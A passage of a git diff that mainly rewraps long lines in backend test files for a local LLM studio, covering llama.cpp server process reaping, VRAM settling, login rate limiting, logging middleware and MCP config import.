"llama_cpp.py" ).read_text(encoding = "utf-8") assert "-try{_spawn_attempt}.log" in src diff --git a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py index b28df7ec3f..3b96947a4b 100644 --- a/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py +++ b/studio/backend/tests/test_llama_cpp_wait_for_vram_settle.py @@ -127,7 +127,9 @@ def test_stale_kill_skips_wait(): LlamaCppBackend._wait_for_vram_settle( **_kw(since_kill = long_ago, max_wait = 2.0, interval = 0.25) ) - assert state["calls"] == 0, "kill older than _VRAM_SETTLE_WINDOW_S must skip the wait" + assert ( + state["calls"] == 0 + ), "kill older than _VRAM_SETTLE_WINDOW_S must skip the wait" def test_empty_first_sample_returns_immediately(): @@ -215,7 +217,9 @@ def test_max_wait_respected_when_probe_is_slow(): elapsed = time.monotonic() - start # First probe (0.30 s) + at most one clipped sleep + bail. # Hard cap well below the old 0.30 + 0.25 + 0.30 = 0.85. - assert elapsed < 0.85, f"helper exceeded the deadline due to slow probes: {elapsed:.3f}s" + assert ( + elapsed < 0.85 + ), f"helper exceeded the deadline due to slow probes: {elapsed:.3f}s" def test_gpu_index_set_change_returns(): @@ -373,7 +377,9 @@ def test_kill_orphaned_servers_returns_count(): with ( patch.dict(sys.modules, {"psutil": fake_psutil}), patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), ): n = LlamaCppBackend._kill_orphaned_servers() assert n == 1, "only the Unsloth-owned orphan should be counted" @@ -385,7 +391,9 @@ def test_kill_orphaned_servers_returns_count(): with ( patch.dict(sys.modules, {"psutil": fake_psutil}), patch.dict(os.environ, {"LLAMA_SERVER_PATH": fake_path}), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), ): assert LlamaCppBackend._kill_orphaned_servers() == 0 assert killed == [] @@ -436,7 +444,9 @@ def test_startup_reaper_arms_settle_timestamp(): """__init__ arms ``_last_kill_monotonic`` when the startup reaper kills an orphan (so the first load_model waits for VRAM to settle), and leaves the 0.0 cold-start sentinel when nothing was reaped.""" - with patch.object(LlamaCppBackend, "_kill_orphaned_servers", staticmethod(lambda: 1)): + with patch.object( + LlamaCppBackend, "_kill_orphaned_servers", staticmethod(lambda: 1) + ): before = time.monotonic() backend = LlamaCppBackend() after = time.monotonic() @@ -444,7 +454,9 @@ def test_startup_reaper_arms_settle_timestamp(): before <= backend._last_kill_monotonic <= after ), "a positive reap count must arm the settle clock" - with patch.object(LlamaCppBackend, "_kill_orphaned_servers", staticmethod(lambda: 0)): + with patch.object( + LlamaCppBackend, "_kill_orphaned_servers", staticmethod(lambda: 0) + ): backend_cold = LlamaCppBackend() assert ( backend_cold._last_kill_monotonic == 0.0 @@ -486,7 +498,9 @@ def test_kill_process_clears_pidfile(tmp_path): backend._llama_log_fh = None backend._last_kill_monotonic = 0.0 backend._stats_logger = None - with patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)): + with patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ): backend._kill_process() assert not pidfile.exists() @@ -501,8 +515,12 @@ def test_reap_recorded_pid_kills_recorded_server(tmp_path): pidfile.write_text(str(proc.pid)) try: with ( - patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), + patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), patch.object( LlamaCppBackend, "_pid_is_llama_server", @@ -528,13 +546,21 @@ def test_record_then_reap_round_trip_identity_matches(tmp_path): proc = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(30)"]) pidfile = tmp_path / "llama-server.pid" try: - with patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)): + with patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ): LlamaCppBackend._record_server_pid(proc.pid) assert ":" in pidfile.read_text(), "a start-time identity must be recorded" with ( - patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), - patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)), + patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), + patch.object( + LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True) + ), ): n = LlamaCppBackend._reap_recorded_pid() assert n == 1, "a matching identity on a true orphan must be reaped" @@ -559,9 +585,13 @@ def test_reap_recorded_pid_spares_live_server(tmp_path): pidfile.write_text(str(proc.pid)) try: with ( - patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)), + patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ), # Force the name check True so ONLY the parent-alive guard can spare it. - patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)), + patch.object( + LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True) + ), ): n = LlamaCppBackend._reap_recorded_pid() assert n == 0, "a live server with a running parent must not be reaped" @@ -582,9 +612,15 @@ def test_reap_recorded_pid_skips_pid_reuse(tmp_path): pidfile.write_text(str(proc.pid)) try: with ( - patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), - patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: False)), + patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), + patch.object( + LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: False) + ), ): n = LlamaCppBackend._reap_recorded_pid() assert n == 0 @@ -605,9 +641,15 @@ def test_reap_recorded_pid_skips_identity_mismatch(tmp_path): pidfile.write_text(f"{proc.pid}:0.0") # stale identity that cannot match try: with ( - patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), - patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)), + patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), + patch.object( + LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True) + ), ): n = LlamaCppBackend._reap_recorded_pid() assert n == 0, "a PID whose start-time identity changed must not be killed" @@ -634,9 +676,15 @@ def test_reap_recorded_pid_windows_sigkill_fallback(tmp_path, monkeypatch): pidfile = tmp_path / "llama-server.pid" pidfile.write_text("424242") with ( - patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)), - patch.object(LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False)), - patch.object(LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True)), + patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ), + patch.object( + LlamaCppBackend, "_pid_parent_is_alive", staticmethod(lambda pid: False) + ), + patch.object( + LlamaCppBackend, "_pid_is_llama_server", staticmethod(lambda pid: True) + ), patch.object(_os, "kill", _fake_kill), ): n = LlamaCppBackend._reap_recorded_pid() @@ -650,5 +698,7 @@ def test_reap_recorded_pid_windows_sigkill_fallback(tmp_path, monkeypatch): def test_reap_recorded_pid_no_pidfile(tmp_path): """No pidfile -> nothing reaped, no error.""" pidfile = tmp_path / "llama-server.pid" # never created - with patch.object(LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile)): + with patch.object( + LlamaCppBackend, "_server_pidfile_path", staticmethod(lambda: pidfile) + ): assert LlamaCppBackend._reap_recorded_pid() == 0 diff --git a/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py b/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py index 489d9eb8d1..5adb14833f 100644 --- a/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py +++ b/studio/backend/tests/test_llama_cpp_windows_nvidia_path.py @@ -177,13 +177,17 @@ class TestWindowsPipNvidiaDllDirs: def test_missing_prefix_does_not_raise(self): # Nonexistent sys.prefix: resolver must return [], not raise. - result = LlamaCppBackend._windows_pip_nvidia_dll_dirs("/this/path/does/not/exist/anywhere") + result = LlamaCppBackend._windows_pip_nvidia_dll_dirs( + "/this/path/does/not/exist/anywhere" + ) assert result == [] def test_picks_up_cu13_bin_x86_64_layout(self, tmp_path): # nvidia 13.x Windows wheels ship DLLs under nvidia/cu13/bin/x86_64/ # not nvidia//bin/; else the new CUDA 13 wheels hit #5106. - dll_dir = tmp_path / "Lib" / "site-packages" / "nvidia" / "cu13" / "bin" / "x86_64" + dll_dir = ( + tmp_path / "Lib" / "site-packages" / "nvidia" / "cu13" / "bin" / "x86_64" + ) dll_dir.mkdir(parents = True) for name in ("cudart64_13.dll", "cublas64_13.dll", "cublasLt64_13.dll"): (dll_dir / name).write_bytes(b"") diff --git a/studio/backend/tests/test_llama_route.py b/studio/backend/tests/test_llama_route.py index 0ecfeee018..56fd50d77b 100644 --- a/studio/backend/tests/test_llama_route.py +++ b/studio/backend/tests/test_llama_route.py @@ -97,7 +97,10 @@ def test_status_response_exposes_update_size_bytes(): assert model.model_dump()["update_size_bytes"] == 123_456_789 # Omitted -> defaults to None (the offline / no-matching-asset case). without = {k: v for k, v in payload.items() if k != "update_size_bytes"} - assert rl.LlamaUpdateStatusResponse(**without).model_dump()["update_size_bytes"] is None + assert ( + rl.LlamaUpdateStatusResponse(**without).model_dump()["update_size_bytes"] + is None + ) def test_status_handler_runs_off_event_loop(monkeypatch): diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py index b4666e3d18..7dbaa50d47 100644 --- a/studio/backend/tests/test_llama_route_timeouts.py +++ b/studio/backend/tests/test_llama_route_timeouts.py @@ -140,7 +140,9 @@ def test_stream_wait_does_not_shorten_upstream_read_for_disconnect_poll(): class _NoItem: async def __anext__(self): - seen_read_timeouts.append(response.request.extensions["timeout"]["read"]) + seen_read_timeouts.append( + response.request.extensions["timeout"]["read"] + ) raise StopAsyncIteration async for _ in inf_mod._aiter_llama_stream_items( @@ -184,7 +186,9 @@ def test_preheader_send_cleanup_on_disconnect_and_cancel(): return state.disconnected task = asyncio.create_task( - inf_mod._send_stream_with_preheader_cancel(_Client(), object(), request = _Request()) + inf_mod._send_stream_with_preheader_cancel( + _Client(), object(), request = _Request() + ) ) await started.wait() if cancel_parent: diff --git a/studio/backend/tests/test_llama_server_args.py b/studio/backend/tests/test_llama_server_args.py index fa4ba71791..d45f7dd8d1 100644 --- a/studio/backend/tests/test_llama_server_args.py +++ b/studio/backend/tests/test_llama_server_args.py @@ -18,7 +18,12 @@ import pytest # Load llama_server_args.py directly to avoid dragging in the full backend # chain via core/inference/__init__.py. The validator is dependency-free. -_LSA_PATH = Path(__file__).resolve().parent.parent / "core" / "inference" / "llama_server_args.py" +_LSA_PATH = ( + Path(__file__).resolve().parent.parent + / "core" + / "inference" + / "llama_server_args.py" +) _spec = importlib.util.spec_from_file_location("_lsa_test_only", _LSA_PATH) _lsa = importlib.util.module_from_spec(_spec) _spec.loader.exec_module(_lsa) @@ -227,7 +232,11 @@ def test_denylist_rejects_equals_form(): def test_slot_save_path_is_managed_in_all_forms(): - for args in (["--slot-save-path", "/tmp/x"], ["--slot-save-path=/tmp/x"], ["--slot-save-path"]): + for args in ( + ["--slot-save-path", "/tmp/x"], + ["--slot-save-path=/tmp/x"], + ["--slot-save-path"], + ): with pytest.raises(ValueError, match = "--slot-save-path"): validate_extra_args(args) assert is_managed_flag("--slot-save-path") is True @@ -519,7 +528,9 @@ def test_strip_shadowing_flags_jinja_boolean_preserves_positional(): def test_strip_shadowing_flags_no_jinja_boolean_preserves_positional(): - out = strip_shadowing_flags(["--no-jinja", "trailing-positional"], strip_template = True) + out = strip_shadowing_flags( + ["--no-jinja", "trailing-positional"], strip_template = True + ) assert out == ["trailing-positional"] @@ -743,11 +754,15 @@ def test_strip_shadowing_flags_keeps_split_mode_when_not_requested(): def test_strip_shadowing_flags_drops_split_mode_short_alias_and_equals(): - assert strip_shadowing_flags(["-sm", "tensor", "--top-k", "20"], strip_split_mode = True) == [ + assert strip_shadowing_flags( + ["-sm", "tensor", "--top-k", "20"], strip_split_mode = True + ) == [ "--top-k", "20", ] - assert strip_shadowing_flags(["--split-mode=row", "--seed", "-1"], strip_split_mode = True) == [ + assert strip_shadowing_flags( + ["--split-mode=row", "--seed", "-1"], strip_split_mode = True + ) == [ "--seed", "-1", ] @@ -781,7 +796,9 @@ def test_strip_offload_is_opt_in_and_covers_moe(): strip_offload = True, ) == ["--top-k", "20"] # Boolean --cpu-moe drops the flag only, not the following value. - assert strip_shadowing_flags(["--cpu-moe", "--seed", "-1"], **base, strip_offload = True) == [ + assert strip_shadowing_flags( + ["--cpu-moe", "--seed", "-1"], **base, strip_offload = True + ) == [ "--seed", "-1", ] diff --git a/studio/backend/tests/test_llama_stats.py b/studio/backend/tests/test_llama_stats.py index 5e43d80f25..d857f9a4bf 100644 --- a/studio/backend/tests/test_llama_stats.py +++ b/studio/backend/tests/test_llama_stats.py @@ -120,8 +120,16 @@ def test_scrape_parses_labelled_and_bare_metrics(monkeypatch): def test_counter_delta_fallback_without_gauges(): # Older binaries expose only the counters; throughput falls back to deltas. snaps = [ - {"tokens_predicted_total": 100.0, "prompt_tokens_total": 0.0, "requests_processing": 1.0}, - {"tokens_predicted_total": 100.0, "prompt_tokens_total": 0.0, "requests_processing": 1.0}, + { + "tokens_predicted_total": 100.0, + "prompt_tokens_total": 0.0, + "requests_processing": 1.0, + }, + { + "tokens_predicted_total": 100.0, + "prompt_tokens_total": 0.0, + "requests_processing": 1.0, + }, ] stats = _drive(snaps) # running=1 keeps it emitting; gen_tok_s falls back to the (here zero) delta. diff --git a/studio/backend/tests/test_llm_assist_startup_opt_in.py b/studio/backend/tests/test_llm_assist_startup_opt_in.py index e81b1d3775..8b72105f25 100644 --- a/studio/backend/tests/test_llm_assist_startup_opt_in.py +++ b/studio/backend/tests/test_llm_assist_startup_opt_in.py @@ -72,9 +72,13 @@ def test_settings_route_persists_helper_precache_toggle(monkeypatch): def test_main_startup_uses_helper_precache_gate_instead_of_unconditional_precache(): - source = (Path(__file__).resolve().parent.parent / "main.py").read_text(encoding = "utf-8") + source = (Path(__file__).resolve().parent.parent / "main.py").read_text( + encoding = "utf-8" + ) startup_section = source[ - source.index("cleanup_orphaned_runs") : source.index("# Initialize RSA key pair") + source.index("cleanup_orphaned_runs") : source.index( + "# Initialize RSA key pair" + ) ] assert "_start_helper_precache_if_enabled()" in startup_section diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py index 2e499cd8c6..2ecea8c07c 100644 --- a/studio/backend/tests/test_load_progress_ready_fraction.py +++ b/studio/backend/tests/test_load_progress_ready_fraction.py @@ -89,7 +89,9 @@ def _gguf(tmp_path, size_bytes): def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch): # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload. - monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + monkeypatch.setattr( + LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800) + ) be = _backend(_gguf(tmp_path, 10000), healthy = True) p = be.load_progress() assert p["phase"] == "ready" @@ -99,7 +101,9 @@ def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch): def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch): # Still loading: the bar should track real residency, not jump to 1.0. - monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + monkeypatch.setattr( + LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800) + ) be = _backend(_gguf(tmp_path, 10000), healthy = False) p = be.load_progress() assert p["phase"] == "mmap" @@ -112,9 +116,13 @@ def test_progress_fraction_is_monotonic(tmp_path, monkeypatch): # RSS peaks during page-in, then drops after -ngl offload; the bar must hold # its high-water mark instead of collapsing back to ~8% (#5740). be = _backend(_gguf(tmp_path, 10000), healthy = False) - monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000)) + monkeypatch.setattr( + LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000) + ) assert be.load_progress()["fraction"] == 0.9 - monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + monkeypatch.setattr( + LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800) + ) p = be.load_progress() assert p["fraction"] == 0.9 assert p["bytes_loaded"] == 9000 @@ -122,7 +130,9 @@ def test_progress_fraction_is_monotonic(tmp_path, monkeypatch): def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch): # bytes_total unknown (file unstattable): fraction must still read complete. - monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + monkeypatch.setattr( + LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800) + ) be = _backend(tmp_path / "missing.gguf", healthy = True) p = be.load_progress() assert p["phase"] == "ready" @@ -138,7 +148,9 @@ def test_none_when_no_process(tmp_path): def test_none_when_rss_unreadable(tmp_path, monkeypatch): # /proc unavailable (macOS/Windows) or unreadable -> no progress payload. - monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None)) + monkeypatch.setattr( + LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None) + ) be = _backend(_gguf(tmp_path, 10000), healthy = False) assert be.load_progress() is None diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py index 6b44f61972..0c81a7e77c 100644 --- a/studio/backend/tests/test_local_llama_cpp_link.py +++ b/studio/backend/tests/test_local_llama_cpp_link.py @@ -38,7 +38,9 @@ def _make_link(link: Path, target: Path) -> None: def _server_subpath() -> Path: return Path( - "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server" + "build/bin/Release/llama-server.exe" + if os.name == "nt" + else "build/bin/llama-server" ) diff --git a/studio/backend/tests/test_local_model_format.py b/studio/backend/tests/test_local_model_format.py index b569163cc8..500422663c 100644 --- a/studio/backend/tests/test_local_model_format.py +++ b/studio/backend/tests/test_local_model_format.py @@ -97,7 +97,9 @@ def test_scan_models_dir_classifies_gguf_with_config(tmp_path): # A standalone .gguf file is GGUF. _touch(root / "loose.gguf") - fmt = {Path(m.path).name: m.model_format for m in models_route._scan_models_dir(root)} + fmt = { + Path(m.path).name: m.model_format for m in models_route._scan_models_dir(root) + } assert fmt["gguf_repo"] == "gguf" assert fmt["st_repo"] is None diff --git a/studio/backend/tests/test_logging_middleware.py b/studio/backend/tests/test_logging_middleware.py index d59e4dbee2..1550ec6adf 100644 --- a/studio/backend/tests/test_logging_middleware.py +++ b/studio/backend/tests/test_logging_middleware.py @@ -117,7 +117,11 @@ def test_non_http_scope_passes_through(logs): async def send(message): pass - _run(LoggingMiddleware(app)({"type": "websocket", "path": "/ws"}, _noop_receive, send)) + _run( + LoggingMiddleware(app)( + {"type": "websocket", "path": "/ws"}, _noop_receive, send + ) + ) assert seen == ["websocket"] assert logs.events == [] @@ -183,11 +187,15 @@ def test_quiet_poll_paths_use_longer_heartbeat_window(logs, monkeypatch): for _ in range(3): _run(mw(_http_scope("/api/inference/monitor"), _noop_receive, send)) # quiet for _ in range(3): - _run(mw(_http_scope("/api/models/browse-folders"), _noop_receive, send)) # normal + _run( + mw(_http_scope("/api/models/browse-folders"), _noop_receive, send) + ) # normal paths = [e[2]["path"] for e in logs.events] assert paths.count("/api/inference/monitor") == 1 # collapsed to one heartbeat - assert paths.count("/api/models/browse-folders") == 3 # base dedup off -> all logged + assert ( + paths.count("/api/models/browse-folders") == 3 + ) # base dedup off -> all logged def test_distinct_query_strings_are_not_deduped(logs, monkeypatch): @@ -263,7 +271,9 @@ def _paths_logged(logs): def test_quiet_success_get_2xx_suppressed(logs): # A GET/2xx poll on a quiet-success path logs nothing; the signal is in events. for path in ("/api/chat/threads", "/api/export/status", "/api/hub/download-status"): - _run(LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop)) + _run( + LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop) + ) assert logs.events == [] @@ -276,7 +286,9 @@ def test_chat_detail_and_message_reads_still_log(logs): "/api/chat/threads/abc123/messages/m1", "/api/chat/projects/p1", ): - _run(LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop)) + _run( + LoggingMiddleware(_status_app(200))(_http_scope(path), _noop_receive, _drop) + ) assert _paths_logged(logs) == [ "/api/chat/threads/abc123", "/api/chat/threads/abc123/messages", @@ -300,11 +312,15 @@ def test_chat_pre_auth_401_suppressed_other_errors_logged(logs): # The transient bootstrap 401 on a chat list GET is dropped, but a 500 (or any # other status) still logs so real failures stay visible. _run( - LoggingMiddleware(_status_app(401))(_http_scope("/api/chat/projects"), _noop_receive, _drop) + LoggingMiddleware(_status_app(401))( + _http_scope("/api/chat/projects"), _noop_receive, _drop + ) ) assert logs.events == [] _run( - LoggingMiddleware(_status_app(500))(_http_scope("/api/chat/projects"), _noop_receive, _drop) + LoggingMiddleware(_status_app(500))( + _http_scope("/api/chat/projects"), _noop_receive, _drop + ) ) assert _paths_logged(logs) == ["/api/chat/projects"] @@ -339,11 +355,15 @@ def test_chat_401_logged_after_first_auth_refresh(logs): def test_export_status_error_still_logs(logs): # 2xx suppressed, but an HTTP-level error on export status remains visible. _run( - LoggingMiddleware(_status_app(200))(_http_scope("/api/export/status"), _noop_receive, _drop) + LoggingMiddleware(_status_app(200))( + _http_scope("/api/export/status"), _noop_receive, _drop + ) ) assert logs.events == [] _run( - LoggingMiddleware(_status_app(500))(_http_scope("/api/export/status"), _noop_receive, _drop) + LoggingMiddleware(_status_app(500))( + _http_scope("/api/export/status"), _noop_receive, _drop + ) ) assert _paths_logged(logs) == ["/api/export/status"] diff --git a/studio/backend/tests/test_login_rate_limit.py b/studio/backend/tests/test_login_rate_limit.py index 6f9635e41e..171ccb31ae 100644 --- a/studio/backend/tests/test_login_rate_limit.py +++ b/studio/backend/tests/test_login_rate_limit.py @@ -107,22 +107,30 @@ class TestClientIp: def test_xff_strips_ipv4_port(self, env_trust_proxy): from routes.auth import _client_ip - req = _FakeRequest("127.0.0.1", {"x-forwarded-for": "198.51.100.7:50001, 10.0.0.1"}) + req = _FakeRequest( + "127.0.0.1", {"x-forwarded-for": "198.51.100.7:50001, 10.0.0.1"} + ) assert _client_ip(req) == "198.51.100.7" def test_xff_strips_bracketed_ipv6_port(self, env_trust_proxy): from routes.auth import _client_ip - req = _FakeRequest("127.0.0.1", {"x-forwarded-for": "[2001:db8::1]:50001, 10.0.0.1"}) + req = _FakeRequest( + "127.0.0.1", {"x-forwarded-for": "[2001:db8::1]:50001, 10.0.0.1"} + ) assert _client_ip(req) == "2001:db8::1" def test_forwarded_strips_ipv4_port(self, env_trust_proxy): from routes.auth import _client_ip - req = _FakeRequest("127.0.0.1", {"forwarded": 'for="198.51.100.7:50001";proto=https'}) + req = _FakeRequest( + "127.0.0.1", {"forwarded": 'for="198.51.100.7:50001";proto=https'} + ) assert _client_ip(req) == "198.51.100.7" def test_forwarded_strips_bracketed_ipv6_port(self, env_trust_proxy): from routes.auth import _client_ip - req = _FakeRequest("127.0.0.1", {"forwarded": 'for="[2001:db8::1]:50001";proto=https'}) + req = _FakeRequest( + "127.0.0.1", {"forwarded": 'for="[2001:db8::1]:50001";proto=https'} + ) assert _client_ip(req) == "2001:db8::1" def test_forwarded_isolates_first_element(self, env_trust_proxy): @@ -221,7 +229,9 @@ class TestBucketKeyAndBlocking: # Hard cap respected; further keys don't allocate. assert len(auth_routes._LOGIN_BUCKETS) <= 10 - def test_ip_bucket_cap_bounds_without_disabling_throttling(self, env_no_proxy, monkeypatch): + def test_ip_bucket_cap_bounds_without_disabling_throttling( + self, env_no_proxy, monkeypatch + ): """The per-IP dict is bounded, but saturating it must NOT disable throttling: a new IP that keeps failing after the cap is hit is still blocked (now via the shared overflow counter).""" @@ -241,7 +251,9 @@ class TestBucketKeyAndBlocking: auth_routes._record_login_failure(victim) assert auth_routes._login_blocked(victim) > 0 - def test_saturating_spray_cannot_reset_a_hot_ip_bucket(self, env_no_proxy, monkeypatch): + def test_saturating_spray_cannot_reset_a_hot_ip_bucket( + self, env_no_proxy, monkeypatch + ): """An IP flooding the dict must not evict (and reset) its own hot bucket. With FIFO eviction the oldest-inserted bucket -- the attacker's own, now @@ -300,7 +312,9 @@ class TestBucketKeyAndBlocking: ) assert auth_routes._login_blocked((victim_ip, "admin")) == 0 - def test_overflow_throttle_survives_capacity_freeing(self, env_no_proxy, monkeypatch): + def test_overflow_throttle_survives_capacity_freeing( + self, env_no_proxy, monkeypatch + ): """A source throttled via overflow must stay throttled even if a bucket frees up before the window expires; otherwise a fresh bucket resets it. """ @@ -344,11 +358,15 @@ class TestBucketKeyAndBlocking: for idx in range(10): auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) for idx in range(5000): - auth_routes._record_login_failure((f"198.51.{idx // 256}.{idx % 256}", "admin")) + auth_routes._record_login_failure( + (f"198.51.{idx // 256}.{idx % 256}", "admin") + ) assert all(len(shard) <= 8 for shard in auth_routes._LOGIN_IP_OVERFLOW) - def test_overflow_eviction_does_not_inherit_count_onto_new_ip(self, env_no_proxy, monkeypatch): + def test_overflow_eviction_does_not_inherit_count_onto_new_ip( + self, env_no_proxy, monkeypatch + ): """Evicting a hot entry to make room must not hand its failure count to the new source; one attempt from an unrelated IP must not 429 it. """ @@ -474,7 +492,9 @@ class TestLogin429Body: import secrets as _secrets monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db") - monkeypatch.setattr(storage, "_BOOTSTRAP_PW_PATH", tmp_path / ".bootstrap_password") + monkeypatch.setattr( + storage, "_BOOTSTRAP_PW_PATH", tmp_path / ".bootstrap_password" + ) monkeypatch.setattr(storage, "_bootstrap_password", None) storage.create_initial_user( username = storage.DEFAULT_ADMIN_USERNAME, diff --git a/studio/backend/tests/test_mcp_config_import.py b/studio/backend/tests/test_mcp_config_import.py index 4082733490..86e0a61f18 100644 --- a/studio/backend/tests/test_mcp_config_import.py +++ b/studio/backend/tests/test_mcp_config_import.py @@ -102,7 +102,11 @@ def test_parse_windows_apostrophes_as_literals(monkeypatch): "C:\\Users\\O'Reilly\\server.js", ] assert mcp_client.parse_stdio_command("node 'draft'") == ["node", "'draft'"] - assert mcp_client.parse_stdio_command("node 'open close'") == ["node", "'open", "close'"] + assert mcp_client.parse_stdio_command("node 'open close'") == [ + "node", + "'open", + "close'", + ] def test_parse_rejects_unterminated_windows_double_quote(monkeypatch): @@ -187,11 +191,18 @@ def test_parse_accepts_cline_streamable_http_alias(): [ {"command": "node", "args": ["server.js"], "cwd": "/tmp/server"}, {"command": "node", "args": ["server.js"], "envFile": ".env"}, - {"command": "node", "args": ["server.js"], "env": {"API_KEY": "${input:api-key}"}}, + { + "command": "node", + "args": ["server.js"], + "env": {"API_KEY": "${input:api-key}"}, + }, {"command": "node", "args": ["${workspaceFolder}/server.js"]}, {"command": "node", "args": ["server.js"], "env": {"HTTP_PROXY": None}}, {"command": "node", "args": ["server.js"], "sandboxEnabled": True}, - {"url": "https://example.com/mcp", "headers": {"Authorization": "Bearer ${input:token}"}}, + { + "url": "https://example.com/mcp", + "headers": {"Authorization": "Bearer ${input:token}"}, + }, {"url": "https://example.com/mcp", "headers": {"Authorization": None}}, {"type": "http", "url": "https://example.com/sse"}, {"type": "http", "url": "https://example.com/sse "}, @@ -217,7 +228,9 @@ def test_servers_alias_key(): def test_env_and_args_values_coerced_to_str(): - cfg = {"mcpServers": {"fs": {"command": "node", "args": [8080], "env": {"PORT": 8080}}}} + cfg = { + "mcpServers": {"fs": {"command": "node", "args": [8080], "env": {"PORT": 8080}}} + } entries, errors = parse_mcp_config(cfg) assert errors == [] assert entries[0].headers == {"PORT": "8080"} @@ -296,11 +309,18 @@ def test_import_route_creates_and_dedups(tmp_path, monkeypatch): } } res = asyncio.run( - routes_mcp.import_mcp_servers(McpServerImportRequest(config = cfg), current_subject = "u") + routes_mcp.import_mcp_servers( + McpServerImportRequest(config = cfg), current_subject = "u" + ) ) assert res.errors == [] assert res.skipped == [] - assert {c.display_name for c in res.created} == {"fs", "remote", "oauth", "disabled"} + assert {c.display_name for c in res.created} == { + "fs", + "remote", + "oauth", + "disabled", + } fs = next(c for c in res.created if c.display_name == "fs") assert fs.headers == {"API_KEY": "sk"} assert fs.use_oauth is False @@ -312,7 +332,9 @@ def test_import_route_creates_and_dedups(tmp_path, monkeypatch): # Re-importing the same config skips both by url. res2 = asyncio.run( - 